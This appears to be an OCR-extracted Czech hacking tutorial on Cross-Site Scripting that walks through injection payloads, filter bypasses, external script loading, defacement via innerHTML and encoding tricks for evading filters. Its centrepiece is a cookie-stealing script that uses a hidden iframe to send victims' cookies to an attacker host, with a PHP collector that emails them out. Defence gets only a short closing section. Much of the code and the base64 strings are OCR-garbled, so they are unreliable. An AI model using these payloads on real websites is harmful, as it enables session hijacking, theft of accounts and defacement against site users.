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Cilem tohoto dokumentu (whitepaperu) je seznamit uzivatele s technikou zvanou Cross-Site
Scripting. Poukazat na askpekty a moznosti zneuZziti, rozsah zneuzitelnosti, vytvorit obecny seznam
typl XSS Gtok a moznosti, jak se proti nim branit.
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1. Cil

Cilem tohoto dokumentu je seznamit uzivatele s technikou zvanou Cross-Site Scripting. Poukazat na
askpekty a moznosti zneuziti, rozsah zneuzitelnosti, vytvorit obecny seznam typ& XSS Gtokd{ a
moznosti, jak se proti nim branit.
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2. Uvod

XSS (nékdy zndm pod zkratkou CSS, od které se ale upustilo z dlvodu zaménovani se zkratkou
kaskadovych styld) se volné preklada jako Skriptovani napric¢ servery. OC se tedy jedna?? Jako
vétSina technik atakovani webovych strdnek i XSS je zalozen na injektovani kédu na vstup webové
aplikace tam, kde programéator nepredpokladal viozeni kédu. Tim podstré¢ime strance néas vilastni kdd.
AC se to zda neuvéritelné, stane se XSS do budoucna velkym bezpecnostnim problémem. Vzdyt 8 az
9 webl z 10 je nachylnych na néktery z typd XSS.

'XSS is the New Buffer Overflow, JavaScript Malware is the New Shell Code.'
- Jeremiah Grossman

3. Rozdéleni

XSS délime z hlavniho hlediska na Persistent (trvaly) a Non-Persistent (docasny).

3.1 Persistent XSS

Persistent XSS je problematikou fér, guestbookl a podobnych webapps, které uchovéavaji data
zadand na vstup treba v databazi nebo v souboru. Tim je zaruceno, Ze dojde k opé&tovnému spusténi
skriptu po kazdém nacteni stranky (chapej: fora, g-booku atd.) do prohlizece.

3.2 Non-Persistent XSS

Non-Persistent je problematikou URL adres (edituji se hodnoty proménnych), vyhledavacich form,
radiobutton{ (jednoduse receno: vSe, co zadany retézec neuklada, ale pouze ho zpracuje a posle na
vystup) atd.

4. Priklad rekne vic, nez teorie

Rekné&me, Ze jsme nasli web, ktery ma URL ve tvaru:

http://www.victim.at/index.php?id=1

Na webu victim.at je PHP skript, ve kterém je proménna (v URL se jedna o parametr) id, jez
odpovida, reknéme, &islu ¢lanku. Programator predpoklada, ze dostane na vstupu vzdy a pouze cislo.
Co se ale stane, pokusime-li se na misto Cisla vlozit retézec??

http://www.victim.at/index.php?id=bflmpsvz

Patrné dostaneme chybu. To ndm ale moc nepomohlo..
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4.1 Obecny tvar

Tak co zkusit tfeba néktery z programovacich jazyk(l, které se vykonavaji v prohlizeci? Asi nejlepsi
bude JavaScript. Tak: Go on!

http://www.victim.at/index.php?id=<script>alert('Hacked!!"')</script>

...a ENTER! Pokud vSe probéhlo v poradku, vyskoci na nas varovani s napisem 'Hacked!!". Pokud se
nic nestalo, pravdépodobné je na serveru zapnuta funkce magic_quotes nebo je vstup filtrovan na
pritomnost ' (apostrof nebo jednoduchd uvozovka), pripadné na dvojité uvozovky v URL. Nevadi..
Poradime si jinak :)

http://www.victim.at/index.php?id=<script>alert(10)</script>

Ted by na nas mélo vyskocit varovani s ndpisem '10'. Takze uz vime, ze je web nachylny na XSS.

4.2 Bypass

Javascriptovy kéd <script>alert(10)</script> lze povazovat za jednoduchou injekci. Ta ale nemusi
kv@li svému tvaru fungovat vsude (vlozeny JS mze zpUsobit "nekorektné napsany HTML kéd",
pripadné se vlibec nevykond). Proto je vhodnéjsi pouzit chytry bypass ve tvaru "> (apostrof, dvojité
uvozovky a ostra zavorka vpravo). Tento bypass zptsobi, ze HTML tag bude pred¢asné ukoncen a
nasledné bude zpracovan nds JS kéd.

Na poc¢atku by mohl HTML kéd vypadat napriklad takhle (pro nazornost bude rozdélen):
<i nput type="text" nane="pol e" val ue="

"s

Po odeslani JS kédu dostaneme tento vysledek:

<i nput type="text" nanme="pole" val ue="
""><script>alert(10)</script>
s

4.3 Komentar-pomocnik nejvérnéjsi

Je na prvni pohled zfejmé, Ze bypass ukoncil HTML tag input a zpracoval skript. Ovsem, co bude asi
problémem, je fakt, ze za textboxem bude viditelny kéd "> (dvojité uvozovky a ostrd zavorka). Jak se
tomuto problému vyhnout? Co tfeba pouzit HTML komentdr, ktery ma tvar za textboxem zmizel!!
NICE!! ;)

5. JavaScript - nedocenovany génius

No dobre. Ale nemyslim si, ze je néco kouzelného na vypisovani varovnych messageboxu s napisem
'Hacked!" nebo snad dokonce jen s Cislici '10'. Chtélo by to néco lepsiho ;) JavaScript je skriptovaci
jazyk, ktery je zpracovan a interpretovan prohlize¢em (browserem). JavaScript nemUze pracovat s
obsahem harddisku na napadeném stroji a tak by se zdalo, Ze jeho proklamovana nebezpelnost je
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prehnand. Tento pocit ale pretrvavé pouze do okamziku, kdy za¢neme JS kombinovat se
skriptovacim jazykem zpracovavanym na strané severu (PHP, ASP...). JS obsahuje mnozstvi funkci,
které mohou napomoci k odcizeni soubor{ cookies k dané strance, k editaci textu na strance a jejich
podvrzeni (pfes chyby XSS byly na severy CNN, NBC a dalSich viozeny mystifikujici zpravy).

6. Moznosti viozeni skriptu

Skripty do stranky mUizeme vkladdat nékolika moznymi zplsoby, diky kterym se dokdzeme vyhnout
nékterym problémdm. Prvnim zplsobem je prosté vlozeni skriptu do stranky:

<script>blok kodu;</script>
DalSi moznosti je odkdzat se na externi ulozeni skriptu:

<script src="http://www.evilpage.at/evilscript.js'></script>
(Pokud budou délat problémy apostrofy, mdzeme je vynechat)

<script src=http://www.evilpage.at/evilscript.js></script>

Dale mizeme vyuzit nékterych HTML tagQ:
Napfr.:

<| M5 SRC=j avascript:alert(10);>

<META HTTP- EQUI V=r ef resh CONTENT=0; url =j avascript:alert(10);>
<I FRAME SRC=j avascri pt:al ert (10);></1 FRAME>

<TABLE BACKGROUND=j avascri pt:al ert (10) >

atd. (Pri experimentovani je nutné brat ohledy na typ browseru. Ne v kazdém browseru se ndm
podafri tyto priklady rozchodit).

7. Editujeme vzhled stranky

Nyni se podivdme, jak je mozné editovat pomoci XSS vzhled stranek.

7.1 Editace pomoci JavaScriptu aneb: Nechci slevu zadarmo
Nasledujici kédy budou psany jako externi skripty.

Reknéme, Ze na strance nachylné na Gtok XSS, je element s id 'textik'.

<p id="textik'>Tato strédnka je zabezpelena.</p>

Nyni cely obsah tohoto elementu zménime.
document.getElementByld('textik').innerHTML = 'Hahaha!! XSS!!';

Ted si vysvétleme, co se vlastné stane:

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn
Strana 4z 8



XSS (Cross-Site Scripting) hacking
Publikovano na serveru Security-Portal.cz (https://security-portal.cz)

innerHTML je vlastnosti prvku document s hodnotou vnitfniho HTML kédu. V nasem pripadé ma
hodnotu: Tato stranka je zabezpecend. My ji vSak priradime retézec novy, a to: "Hahaha!! XSS!!" Ted'
bude HTML tag s id="textik' zménény na retéz "Hahaha!! XSS!!"

To vypada dobre, ne?? Ale zkusme néco dalsiho.

Méjme na strance element s id 'test'.

<p id="test'>Polepsil jsem se.</p>

Ted zménime tag z

na a zménime i barvu.

var stary = docunent.getEl ementByld('test').inner HTM;

var novy = "<div style="color:#f5f5f5 >" + stary + "</div>";

docunent . get El enent sByl d('test').innerHTML = novy;

A co se stalo? Do proménné stary je nac¢ten vnitfni HTML kéd. Do proménné novy je pfifazen tag s
definovanym stylem pro barvu a déle je vloZzen obsah proménné stary, tedy plvodni vnitfni HTML
kéd. Na poslednim rfadku zménime vnitfni HTML kéd HTML tagu s id 'test' na nasi nové definovanou a
nové ostylovanou proménnou novy.

Wow! To je perfektni, ne??

Podobnym zplsobem se da vyuzit napriklad funkce getElementsByTagName a jiné.

Nyni uz pohodIné zvlddneme editaci vzhledu stranky pomoci jednoduchych skriptd.

7.2 Editace pomoci JavaScriptu a CSS aneb: Dejte mi pevny bod a pohnu
zemi

Nutno podotknout, Ze v pfipadé zmeény vzhledu stranky hraje absolutni prim vyuziti CSS. To ma totiz
nejvyssi prioritu pfed vsim ostatnim. Proto neni problém vytvofit zcela novou stranku. Tato stranka
bude nactena !'"NAD!! pldvodni stranku (z-index). Pak neni problém na webu ODS prodavat Viagru ;)
Jako jednoduchy pfiklad bych uvedl odkaz na jednu non-persistent XSS:

http://skola.security-portal.cz/[RubberDuck]-EuroParlament xss.html [7]

Pokud vas zajima pouzity kéd, staci se podivat na obsah JS skriptu.

8. Udalosti jazyka JavaScript

Jazyk JavaScript obsahuje i tzv. udélosti, coz jsou ve své podstaté funkce reagujici na konkrétni
situaci na dokumentu nebo okné, na mysi a na klavesnici. Diky udalostem lze pomoci JS web
dynamicky "rozpohybovat".

Jako priklady uvedu:

onlLoad - nastavi se po nacteni stranky
onSubmit - nastavi se pfi odesilani

onClick - nastavi se pfi kliknuti
onMouseOver - nastavi se pfi prejeti mysi
onError - nastavi se v pfipadé vyskytu chyby
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Sirsi seznam udalosti Ize najit napftiklad na webu:

http://www.jakpsatweb.cz/javascript/udalosti.html [8]

Jako jednoduchy pfriklad uvedu tento kéd:
<a href=http://www.google.com onclick="alert('Budete pfesmérovani na GOOGLE!")">Klik!</a>

Po kliknuti na odkaz, ktery presméruje browser na GOOGLE, dojde, jesté pred presmérovanim, k
vyskoceni alertu s ndpisem "Budete presmérovani na GOOGLE!". Moznosti, jak vyuzit udélosti, se
najde obrovské mnozstvi a jisté neni potreba uvadét dalsi konkrétni priklady.

9. Krademe cookies

Nejdrive si fekneme, co to cookies vlbec jsou. Cookies (susenky) jsou malé textové informace, jez se
daji ulozit na klientském pocitaci. Kazda cookie ma nézev a hodnotu (napr: id=51), déle informace o
vyprseni platnosti cookie (datum a ¢as ve formatu GMT) a rozsah platnosti. Jednoduchym zplsobem,
jak si vytisknout nasi cookie na vulnerable webu, je vyuzit JS funkci alert() s parametrem
document.cookie, tedy:

alert(document.cookie);

Pokud takovy skript spustime, obdrzime jako vysledek messagebox s hodnotou cookie. Ale zjistovat
si obsah vlastni cookie nebude tak zdbavné jako si hrat s cookies ostatnich uzivatell. Cookie Stealing
je jednou z moznosti, jak se dostat k G¢tdm adming.
Vytvofime si skript s nazvem stealer.js:
var susenka=docunent. cooki e;
var cooki e;
rozdel =susenka. split(";");
for(i=0;i<rozdel.length;i++){
cooki e=cooki e+separe[i];
}
var obsah='<ifrane styl e="di spl ay: none; "
src="http://ww. evi |l page. at/ cooki e. php?cooki e=' +cooki e+' ">
<liframe>';

document . wite(obsah);

Skript nacte cookie ze stranky a separuje vSechny hodnoty v ni ulozené do proménné cookie, ktera
se nacte do proménné $cookie v PHP skriptu. Tato pak mlze byt odeslana na e-mail, uloZzena do
souboru nebo do databaze.

PHP skript pro odesilani na e-mail by mohl vypadat tfeba nasledovné:

<?php

$cookie = $_GET[' cookie'];

$ip = getenv("REMITE_ADDR');

$ref = getenv("HTTP_REFERER");

$agent = getenv("HTTP_USER AGENT");

$msg = "\ nPage: $ref\nCookie: $cookie\nlP Address: $ip\nlnfos: $agent";
$subj ect = "Cookie - $ref";

mai | ("attacker@-mail.at", $subject, $nmsqg);

?>

Do proménné $cookie je prifazena hodnota z externiho JS skriptu. Do proménné $ip je prifazena IP
adresa stroje, ktery dany JS skript spustil. V proménné $ref je obsah refereru. V proménné $agent
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je prifazen typ a verze browseru obéti. V proménné $msg je ulozena celd zprava, kterd bude
odesildna na mail. Funkce mail() odesild e-mail na zadanou adresu.
Gratuluji! Pravé jste se stali vlastniky Cookie Stealeru :)

10. Konvertujeme

Nékdy je potreba (hlavné v pripadé Non-Persistent XSS) ukryt skute¢ny kdéd nebo alespon snizit
moznost jeho odhaleni. Toho mizeme dosdhnout konvertovanim. Jednim z nejbéznéjsich zplsobl je
prevod znak( na HEX hodnoty.

Bézny odkaz:
http://www.victim.at/index.php?id=<script>alert('XSS!!"); </script>

Konvertovany odkaz:
http://ww. victimat/index. php?i d=98C% 3%63% 2%69% 0% 4Y8EY6 1%6 CY65
W29 492892 7% 8% 3%b3%R1%21%27%29Y8BY8CYR2 FY% 396 3% 296 9% 0% 498 E

DalSim ucinnym prostredkem pro konverzi je JS funkce string.fromCharCode(), ktera desifruje
dekadické hodnoty ASCII kodu. Jeji pouziti je hodné podobné konvertovani na HEX, a proto uvedu jen
konkrétni priklad:

Bézny kéd:
<script>document.write(<script>alert('XSS!"); </script>); </script>

Konvertovany kéd:

<scri pt >docunent.wite(string.fronChar Code(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 11
4!

116, 40, 39, 88, 83, 83, 33, 33, 39, 41, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62)); </ scri pt >

Déle Ize vyuzit Oktalovou soustavu nebo tfeba HTML daného ASCII znaku.

10.1 Self-Contained XSS

Self-Contained je druhem XSS, které vyuzivéa k zakdédovani BASE64. V této injekci jde o to, jakym
zpUsobem prohlize¢ zpracovava informace v URL opatrené prefixem data:text/html;base64. Dojde ke
zpétnému prekladu retézce na Citelny text a k jeho vykonani. Timto zplsobem se mizeme efektivné
vyhnout libovolnému anti-XSS filtru a nic jiného ndm uz nestoji v cesté ;)

Nasledujici fetézec zakryptujeme pomoci BASE64:

<script>alert('XSS!"); </script>

A dostaneme retézec:
data:text/html;base64,PHNjcmlwdD4NCmFsZX]JOKCdYU1Mhjyk7DQo8L3NjcmiwdD4=

Pokud tento retézec pouzijeme jako odkaz, pak po kliknuti na tento odkaz dojde k vykonani
zakédované ¢asti kédu.

<a href="

dat a: text/ ht ml ; base64, PHNj cml wdDANCnFsZXJOKCdYU1VhJyk 7DQo8L3N cm wdD4=
">Zaj i mvy odkaz</a>
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Ovsem mUlzeme zajit jesté dal. Co kdyz do BASE64 zakddujeme HTML kdéd, ktery bude obsahovat
odkaz, jez bude zakédovany v BASE6477? ;)

Pouziju vySe zminovany kéd a pridam k nému jesté HTML kéd:

<di v>Nej | epSi fotky nahé Angeliny Jolie!!

<a href="data:text/htm ; base64, PHNj cm wdD4NCFsZXJOKCdYULMJIyk7DQo8L3Nj cml wdD4=">
Zde! </ a></ di v>

Pak staci nékam vlozit tento odkaz:

dat a: text/htm ; base64, PGRpdj 50ZWisZXBzaSBnmb3Rr eSBuYWhl | EFuZ2VsaWs51 Epvbd | | SENG xhl G
hy ZWYy9l nRhdGE6dGV4dC90dGLs QRJIhc2U2NCx QSE5qY21sd2RENESDbUZz W hKVEE DZFI VMULoSnl r NORRbzh
MVD5q

Y21sd2RENDOi PgOKWYRI | Tww YT48L2Rpdj 4=

Odkaz je kapanek delsi. Bohuzel. Bez redundance nelze poradné nic zakryptovat ;)

11. Jak se branit??

To je dobrd otadzka. Zvlasté v dnesni dobé. Pro uzivatele neni nic jednodussiho, nez zakazat podporu
JavaScriptu v prohlizeci. Tim ovSem vyvstanou dalsi problémy v podobé blokovani nékterych stranek,
které JavaScript vyuzivaji. Pro tvlrce webu je resenim vyuzivani funkci, které prevedou nebezpecné
znaky na entity, pfipadné je Uplné vyescapuji. Napfiklad v PHP pro tuto moznost existuje funkce
htmlspecialchars() pro pfevod na entity a addslashes() pro escapovani. V MySQL je mozné vyuzit
funkci mysql_real_string_escape() pro escapovani nebezpecnych znakl. Samosebou Ize vyuzit v
pripadé PHP nastaveni magic_quotes na ON.
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